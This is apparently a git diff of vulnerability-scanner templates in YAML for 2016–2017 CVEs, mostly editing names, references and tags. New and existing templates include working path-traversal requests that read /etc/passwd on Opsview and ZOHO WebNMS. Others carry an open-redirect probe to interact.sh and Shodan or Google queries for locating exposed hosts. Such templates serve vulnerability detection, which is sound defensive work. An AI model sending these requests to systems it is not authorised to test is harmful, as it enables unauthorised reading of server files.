method: GET diff --git a/cves/2016/CVE-2016-10367.yaml b/cves/2016/CVE-2016-10367.yaml new file mode 100644 index 0000000000..8e41296b51 --- /dev/null +++ b/cves/2016/CVE-2016-10367.yaml @@ -0,0 +1,38 @@ +id: CVE-2016-10367 + +info: + name: Opsview Monitor Pro - Local File Inclusion + author: 0x_akoko + severity: high + description: Opsview Monitor Pro prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch is vulnerable to unauthenticated local file inclusion and can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass. + reference: + - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774 + - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341 + - https://nvd.nist.gov/vuln/detail/CVE-2016-10367 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2016-10367 + cwe-id: CWE-22 + metadata: + shodan-query: title:"Opsview" + verified: "true" + tags: cve,cve2016,opsview,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 404 + +# Enhanced by mp on 2022/08/03 diff --git a/cves/2016/CVE-2016-10924.yaml b/cves/2016/CVE-2016-10924.yaml index 1806dc1462..92b0c3f941 100644 --- a/cves/2016/CVE-2016-10924.yaml +++ b/cves/2016/CVE-2016-10924.yaml @@ -1,20 +1,24 @@ id: CVE-2016-10924 info: - name: Wordpress eBook Download < 1.2 - Directory Traversal + name: Wordpress Zedna eBook download <1.2 - Local File Inclusion author: idealphase severity: high - description: The Wordpress eBook Download plugin was affected by a filedownload.php Local File Inclusion security vulnerability. + description: | + Wordpress Zedna eBook download prior to version 1.2 was affected by a filedownload.php local file inclusion vulnerability. reference: - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c - https://www.exploit-db.com/exploits/39575 - https://nvd.nist.gov/vuln/detail/CVE-2016-10924 + - https://wordpress.org/plugins/ebook-download/#developers classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-10924 cwe-id: CWE-22 - tags: cve,cve2021,wp-plugin,lfi,wordpress,ebook + metadata: + google-query: inurl:"/wp-content/plugins/ebook-download" + tags: cve,wordpress,edb,cve2016,wp-plugin,lfi,ebook,wp,wpscan requests: - method: GET @@ -33,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/17 diff --git a/cves/2016/CVE-2016-10940.yaml b/cves/2016/CVE-2016-10940.yaml index 6219d78a06..d082888437 100644 --- a/cves/2016/CVE-2016-10940.yaml +++ b/cves/2016/CVE-2016-10940.yaml @@ -9,12 +9,13 @@ info: - https://wpscan.com/vulnerability/c0cbd314-0f4f-47db-911d-9b2e974bd0f6 - https://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/ - https://nvd.nist.gov/vuln/detail/CVE-2016-10940 + - http://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2016-10940 cwe-id: CWE-89 - tags: cve,cve2016,sqli,wp,wordpress,wp-plugin,authenticated + tags: wpscan,cve,cve2016,sqli,wp,wordpress,wp-plugin,authenticated requests: - raw: diff --git a/cves/2016/CVE-2016-10956.yaml b/cves/2016/CVE-2016-10956.yaml index a62f026497..7890fd0914 100644 --- a/cves/2016/CVE-2016-10956.yaml +++ b/cves/2016/CVE-2016-10956.yaml @@ -1,18 +1,22 @@ id: CVE-2016-10956 info: - name: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI) + name: WordPress Mail Masta 1.0 - Local File Inclusion author: daffainfo,0x240x23elu severity: high - description: The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php. + description: WordPress Mail Masta 1.0 is susceptible to local file inclusion in count_of_send.php and csvexport.php. reference: - https://cxsecurity.com/issue/WLB-2016080220 - https://wpvulndb.com/vulnerabilities/8609 + - https://wordpress.org/plugins/mail-masta/#developers + - https://nvd.nist.gov/vuln/detail/CVE-2016-10956 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-10956 cwe-id: CWE-20 + metadata: + google-query: inurl:"/wp-content/plugins/mail-masta" tags: cve,cve2016,wordpress,wp-plugin,lfi,mail requests: @@ -31,3 +35,5 @@ requests: status: - 200 - 500 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2016/CVE-2016-10960.yaml b/cves/2016/CVE-2016-10960.yaml index e913b6b307..b448f10340 100644 --- a/cves/2016/CVE-2016-10960.yaml +++ b/cves/2016/CVE-2016-10960.yaml @@ -9,11 +9,14 @@ info: - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/ - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960 + - https://wordpress.org/plugins/wsecure/#developers classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-10960 cwe-id: CWE-20 + metadata: + google-query: inurl:"/wp-content/plugins/wsecure" tags: cve,cve2016,wordpress,wp-plugin,rce requests: diff --git a/cves/2016/CVE-2016-10993.yaml b/cves/2016/CVE-2016-10993.yaml index 3113cba0d2..6ad4301ebf 100644 --- a/cves/2016/CVE-2016-10993.yaml +++ b/cves/2016/CVE-2016-10993.yaml @@ -1,12 +1,13 @@ id: CVE-2016-10993 info: - name: ScoreMe Theme - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: ScoreMe Theme - Cross-Site Scripting author: daffainfo severity: medium - description: The ScoreMe theme through 2016-04-01 for WordPress has XSS via the s parameter. + description: WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://www.vulnerability-lab.com/get_content.php?id=1808 + - https://wpvulndb.com/vulnerabilities/8431 - https://nvd.nist.gov/vuln/detail/CVE-2016-10993 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N @@ -35,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-1555.yaml b/cves/2016/CVE-2016-1555.yaml index fc3e8a3a38..a5a30ece6a 100644 --- a/cves/2016/CVE-2016-1555.yaml +++ b/cves/2016/CVE-2016-1555.yaml @@ -8,12 +8,14 @@ info: reference: - https://github.com/nobodyatall648/Netgear-WNAP320-Firmware-Version-2.0.3-RCE - https://nvd.nist.gov/vuln/detail/CVE-2016-1555 + - https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic + - http://seclists.org/fulldisclosure/2016/Feb/112 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2016-1555 cwe-id: CWE-77 - tags: netgear,rce,oast,router + tags: netgear,rce,oast,router,kev,seclists,cve,cve2016 requests: - raw: diff --git a/cves/2016/CVE-2016-2004.yaml b/cves/2016/CVE-2016-2004.yaml index 7f654b71ee..15ec090ed2 100644 --- a/cves/2016/CVE-2016-2004.yaml +++ b/cves/2016/CVE-2016-2004.yaml @@ -8,12 +8,14 @@ info: reference: - https://www.exploit-db.com/exploits/39858 - https://nvd.nist.gov/vuln/detail/CVE-2016-2004 + - http://www.kb.cert.org/vuls/id/267328 + - https://www.exploit-db.com/exploits/39858/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-2004 cwe-id: CWE-306 - tags: cve,cve2016,network,iot,hp,rce + tags: cve,cve2016,network,iot,hp,rce,edb network: - inputs: diff --git a/cves/2016/CVE-2016-2389.yaml b/cves/2016/CVE-2016-2389.yaml index 4a6b80e158..746f28abb2 100644 --- a/cves/2016/CVE-2016-2389.yaml +++ b/cves/2016/CVE-2016-2389.yaml @@ -1,19 +1,23 @@ id: CVE-2016-2389 info: - name: SAP xMII 15.0 - Directory Traversal + name: SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978. + description: SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978. reference: - https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/ - - https://www.cvedetails.com/cve/CVE-2016-2389 + - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html + - https://www.exploit-db.com/exploits/39837/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-2389 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2016-2389 cwe-id: CWE-22 - tags: cve,cve2016,lfi,sap + metadata: + shodan-query: http.favicon.hash:-266008933 + tags: lfi,sap,packetstorm,edb,cve,cve2016 requests: - method: GET @@ -30,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2016/CVE-2016-3081.yaml b/cves/2016/CVE-2016-3081.yaml index 25be5dcc99..54b0cc875b 100644 --- a/cves/2016/CVE-2016-3081.yaml +++ b/cves/2016/CVE-2016-3081.yaml @@ -1,14 +1,16 @@ id: CVE-2016-3081 info: - name: Apache S2-032 Struts RCE + name: Apache S2-032 Struts - Remote Code Execution author: dhiyaneshDK severity: high description: | - Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions. + Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions). reference: - https://cwiki.apache.org/confluence/display/WW/S2-032 - https://struts.apache.org/docs/s2-032.html + - https://nvd.nist.gov/vuln/detail/CVE-2016-3081 + - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 @@ -30,3 +32,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2016/CVE-2016-3088.yaml b/cves/2016/CVE-2016-3088.yaml index ba3b0c90c9..55055ec351 100644 --- a/cves/2016/CVE-2016-3088.yaml +++ b/cves/2016/CVE-2016-3088.yaml @@ -15,7 +15,7 @@ info: cvss-score: 9.8 cve-id: CVE-2016-3088 cwe-id: CWE-20 - tags: fileupload,cve,cve2016,apache,activemq + tags: fileupload,kev,edb,cve,cve2016,apache,activemq,intrusive requests: - raw: @@ -25,7 +25,6 @@ requests: {{randstr}} - - raw: - | GET /fileserver/test.txt HTTP/1.1 Host: {{Hostname}} diff --git a/cves/2016/CVE-2016-3978.yaml b/cves/2016/CVE-2016-3978.yaml index 3477053651..eb558a9845 100644 --- a/cves/2016/CVE-2016-3978.yaml +++ b/cves/2016/CVE-2016-3978.yaml @@ -1,27 +1,30 @@ id: CVE-2016-3978 info: - name: FortiOS (Fortinet) - Open Redirect and XSS + name: Fortinet FortiOS - Open Redirect/Cross-Site Scripting author: 0x_Akoko severity: medium - description: The Web User Interface (WebUI) in FortiOS 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting (XSS) attacks via the "redirect" parameter to "login." + description: FortiOS Web User Interface in 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting attacks via the "redirect" parameter to "login." reference: - - https://seclists.org/fulldisclosure/2016/Mar/68 + - http://www.fortiguard.com/advisory/fortios-open-redirect-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2016-3978 + - http://seclists.org/fulldisclosure/2016/Mar/68 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-3978 cwe-id: CWE-79 - tags: cve,cve2016,redirect,fortinet,fortios + tags: cve2016,redirect,fortinet,fortios,seclists,cve requests: - method: GET path: - - '{{BaseURL}}/login?redir=http://www.example.com' + - '{{BaseURL}}/login?redir=http://www.interact.sh' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-4975.yaml b/cves/2016/CVE-2016-4975.yaml index af12271782..ad77d61eda 100644 --- a/cves/2016/CVE-2016-4975.yaml +++ b/cves/2016/CVE-2016-4975.yaml @@ -8,12 +8,12 @@ info: reference: - https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975 - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975 + remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-4975 cwe-id: CWE-93 - remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher. tags: cve,cve2016,crlf,generic,apache requests: diff --git a/cves/2016/CVE-2016-4977.yaml b/cves/2016/CVE-2016-4977.yaml index 2ec01bc852..2b7d032e7c 100644 --- a/cves/2016/CVE-2016-4977.yaml +++ b/cves/2016/CVE-2016-4977.yaml @@ -9,13 +9,14 @@ info: - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md - https://tanzu.vmware.com/security/cve-2016-4977 - https://nvd.nist.gov/vuln/detail/CVE-2016-4977 + - https://pivotal.io/security/cve-2016-4977 + remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-4977 cwe-id: CWE-19 - remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later. - tags: cve,cve2016,spring,oauth2,oauth,rce,ssti + tags: oauth2,oauth,rce,ssti,vulhub,cve,cve2016,spring requests: - method: GET diff --git a/cves/2016/CVE-2016-5649.yaml b/cves/2016/CVE-2016-5649.yaml index 1de8edc415..91a192e912 100644 --- a/cves/2016/CVE-2016-5649.yaml +++ b/cves/2016/CVE-2016-5649.yaml @@ -4,15 +4,17 @@ info: name: NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure author: suman_kar severity: critical - description: "NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface." + description: NETGEAR DGN2200 / DGND3700 is susceptible to a vulnerability within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. The attacker can then use this password to gain administrator access of the targeted router's web interface. reference: - https://nvd.nist.gov/vuln/detail/CVE-2016-5649 + - https://packetstormsecurity.com/files/140342/Netgear-DGN2200-DGND3700-WNDR4500-Information-Disclosure.html + - http://packetstormsecurity.com/files/152675/Netgear-DGN2200-DGND3700-Admin-Password-Disclosure.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-5649 cwe-id: CWE-200 - tags: cve,cve2016,iot,netgear,router + tags: cve,cve2016,iot,netgear,router,packetstorm requests: - raw: diff --git a/cves/2016/CVE-2016-6210.yaml b/cves/2016/CVE-2016-6210.yaml deleted file mode 100644 index 45d87300e4..0000000000 --- a/cves/2016/CVE-2016-6210.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2016-6210 - -info: - name: OpenSSH username enumeration < v7.3 - author: iamthefrogy,forgedhallpass - severity: medium - description: OpenSSH before 7.3 is vulnerable to username enumeration and DoS vulnerabilities. - reference: - - http://seclists.org/fulldisclosure/2016/Jul/51 - - https://security-tracker.debian.org/tracker/CVE-2016-6210 - - http://openwall.com/lists/oss-security/2016/08/01/2 - - https://nvd.nist.gov/vuln/detail/CVE-2016-6210 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 5.9 - cve-id: CVE-2016-6210 - cwe-id: CWE-200 - tags: cve,cve2016,network,openssh - -network: - - host: - - "{{Hostname}}" - - "{{Host}}:22" - - matchers: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r\n]+|7\.[0-2][^\d][\n^\r]+)' - - extractors: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_[^\r\n]+' \ No newline at end of file diff --git a/cves/2016/CVE-2016-6277.yaml b/cves/2016/CVE-2016-6277.yaml index 71e0e92899..2d5c52ae75 100644 --- a/cves/2016/CVE-2016-6277.yaml +++ b/cves/2016/CVE-2016-6277.yaml @@ -1,20 +1,21 @@ id: CVE-2016-6277 info: - name: NETGEAR routers (including R6400, R7000, R8000 and similar) RCE + name: NETGEAR Routers - Remote Code Execution author: pikpikcu severity: high - description: NETGEAR R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before - 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly other routers allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/. + description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/. reference: - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/ - https://nvd.nist.gov/vuln/detail/CVE-2016-6277 + - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/ + - https://www.kb.cert.org/vuls/id/582384 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-6277 cwe-id: CWE-352 - tags: cve,cve2016,netgear,rce,iot + tags: cve,cve2016,netgear,rce,iot,kev requests: - method: GET @@ -31,3 +32,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2016/CVE-2016-6601.yaml b/cves/2016/CVE-2016-6601.yaml new file mode 100644 index 0000000000..fe0fe71da5 --- /dev/null +++ b/cves/2016/CVE-2016-6601.yaml @@ -0,0 +1,32 @@ +id: CVE-2016-6601 + +info: + name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal + author: 0x_Akoko + severity: high + description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile + reference: + - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt + - https://www.exploit-db.com/exploits/40229/ + - https://nvd.nist.gov/vuln/detail/CVE-2016-6601 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2016-6601 + cwe-id: CWE-22 + tags: edb,cve,cve2016,zoho,lfi,webnms + +requests: + - method: GET + path: + - "{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/cves/2016/CVE-2016-7552.yaml b/cves/2016/CVE-2016-7552.yaml index e7f153a0af..df8f83ffc4 100644 --- a/cves/2016/CVE-2016-7552.yaml +++ b/cves/2016/CVE-2016-7552.yaml @@ -4,16 +4,18 @@ info: name: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass author: dwisiswant0 severity: critical - description: "Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS." + description: Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS. reference: - https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4 - https://nvd.nist.gov/vuln/detail/CVE-2016-7552 + - https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6 + - http://web.archive.org/web/20210516181625/https://www.securityfocus.com/bid/97599 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-7552 cwe-id: CWE-22 - tags: cve,cve2016,lfi,auth,bypass + tags: msf,cve,cve2016,lfi,auth,bypass requests: - method: GET diff --git a/cves/2016/CVE-2016-7981.yaml b/cves/2016/CVE-2016-7981.yaml index e0dae32753..d69486f66c 100644 --- a/cves/2016/CVE-2016-7981.yaml +++ b/cves/2016/CVE-2016-7981.yaml @@ -1,12 +1,15 @@ id: CVE-2016-7981 info: - name: SPIP 3.1.2 XSS + name: SPIP <3.1.2 - Cross-Site Scripting author: pikpikcu severity: medium description: | - Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action. + SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action. reference: + - https://core.spip.net/projects/spip/repository/revisions/23202 + - https://core.spip.net/projects/spip/repository/revisions/23201 + - https://core.spip.net/projects/spip/repository/revisions/23200 - https://nvd.nist.gov/vuln/detail/CVE-2016-7981 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N @@ -35,3 +38,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2016/CVE-2016-8527.yaml b/cves/2016/CVE-2016-8527.yaml index c820933c3f..32a3f7accb 100644 --- a/cves/2016/CVE-2016-8527.yaml +++ b/cves/2016/CVE-2016-8527.yaml @@ -1,19 +1,21 @@ id: CVE-2016-8527 info: - name: Aruba Airwave - (XSS) + name: Aruba Airwave <8.2.3.1 - Cross-Site Scripting author: pikpikcu severity: medium - description: Aruba Airwave all versions up to, but not including, 8.2.3.1 is vulnerable to a reflected cross-site scripting (XSS). + description: Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting. reference: - https://www.exploit-db.com/exploits/41482 + - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-001.txt + - https://www.exploit-db.com/exploits/41482/ - https://nvd.nist.gov/vuln/detail/CVE-2016-8527 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2016-8527 cwe-id: CWE-79 - tags: cve,cve2016,aruba,xss + tags: cve2016,aruba,xss,edb,cve requests: - method: GET @@ -36,3 +38,5 @@ requests: part: header words: - text/html + +# Enhanced by mp on 2022/08/18 diff --git a/cves/2017/CVE-2017-0929.yaml b/cves/2017/CVE-2017-0929.yaml index 6418b76c9a..78f216197b 100644 --- a/cves/2017/CVE-2017-0929.yaml +++ b/cves/2017/CVE-2017-0929.yaml @@ -1,19 +1,20 @@ id: CVE-2017-0929 info: - name: DotNetNuke ImageHandler SSRF + name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery author: charanrayudu,meme-lord severity: high - description: DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources. + description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources. reference: - https://hackerone.com/reports/482634 - https://nvd.nist.gov/vuln/detail/CVE-2017-0929 + - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-0929 cwe-id: CWE-918 - tags: cve,cve2017,oast,ssrf,dnn,dotnetnuke + tags: dnn,dotnetnuke,hackerone,cve,cve2017,oast,ssrf requests: - method: GET @@ -30,3 +31,5 @@ requests: - type: status status: - 500 + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-1000028.yaml b/cves/2017/CVE-2017-1000028.yaml index e118d21521..0695b8517b 100644 --- a/cves/2017/CVE-2017-1000028.yaml +++ b/cves/2017/CVE-2017-1000028.yaml @@ -1,19 +1,22 @@ id: CVE-2017-1000028 info: - name: GlassFish LFI + name: Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion author: pikpikcu,daffainfo severity: high - description: Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request. + description: Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests. reference: - https://www.exploit-db.com/exploits/45196 - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18822 + - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904 + - https://www.exploit-db.com/exploits/45196/ + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000028 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-1000028 cwe-id: CWE-22 - tags: cve,cve2017,oracle,glassfish,lfi + tags: oracle,glassfish,lfi,edb,cve,cve2017 requests: - method: GET @@ -37,3 +40,5 @@ requests: - "contains(body, 'extensions')" - "status_code == 200" condition: and + +# Enhanced by mp on 2022/06/09 diff --git a/cves/2017/CVE-2017-1000029.yaml b/cves/2017/CVE-2017-1000029.yaml index fe30a63635..a35fd3b8a1 100644 --- a/cves/2017/CVE-2017-1000029.yaml +++ b/cves/2017/CVE-2017-1000029.yaml @@ -1,15 +1,17 @@ id: CVE-2017-1000029 info: - name: GlassFish Server Open Source Edition 3.0.1 - LFI + name: Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion author: 0x_Akoko severity: high - description: Oracle, GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to Local File Inclusion vulnerability, that makes it possible to include arbitrary files on the server, this vulnerability can be exploited without any prior authentication. + description: Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server. reference: - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18784 - https://www.cvedetails.com/cve/CVE-2017-1000029 + - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-011/?fid=8037 + - https://nvd.nist.gov/vuln/detail/CVE-2017-1000029 classification: - cvss-metrics: 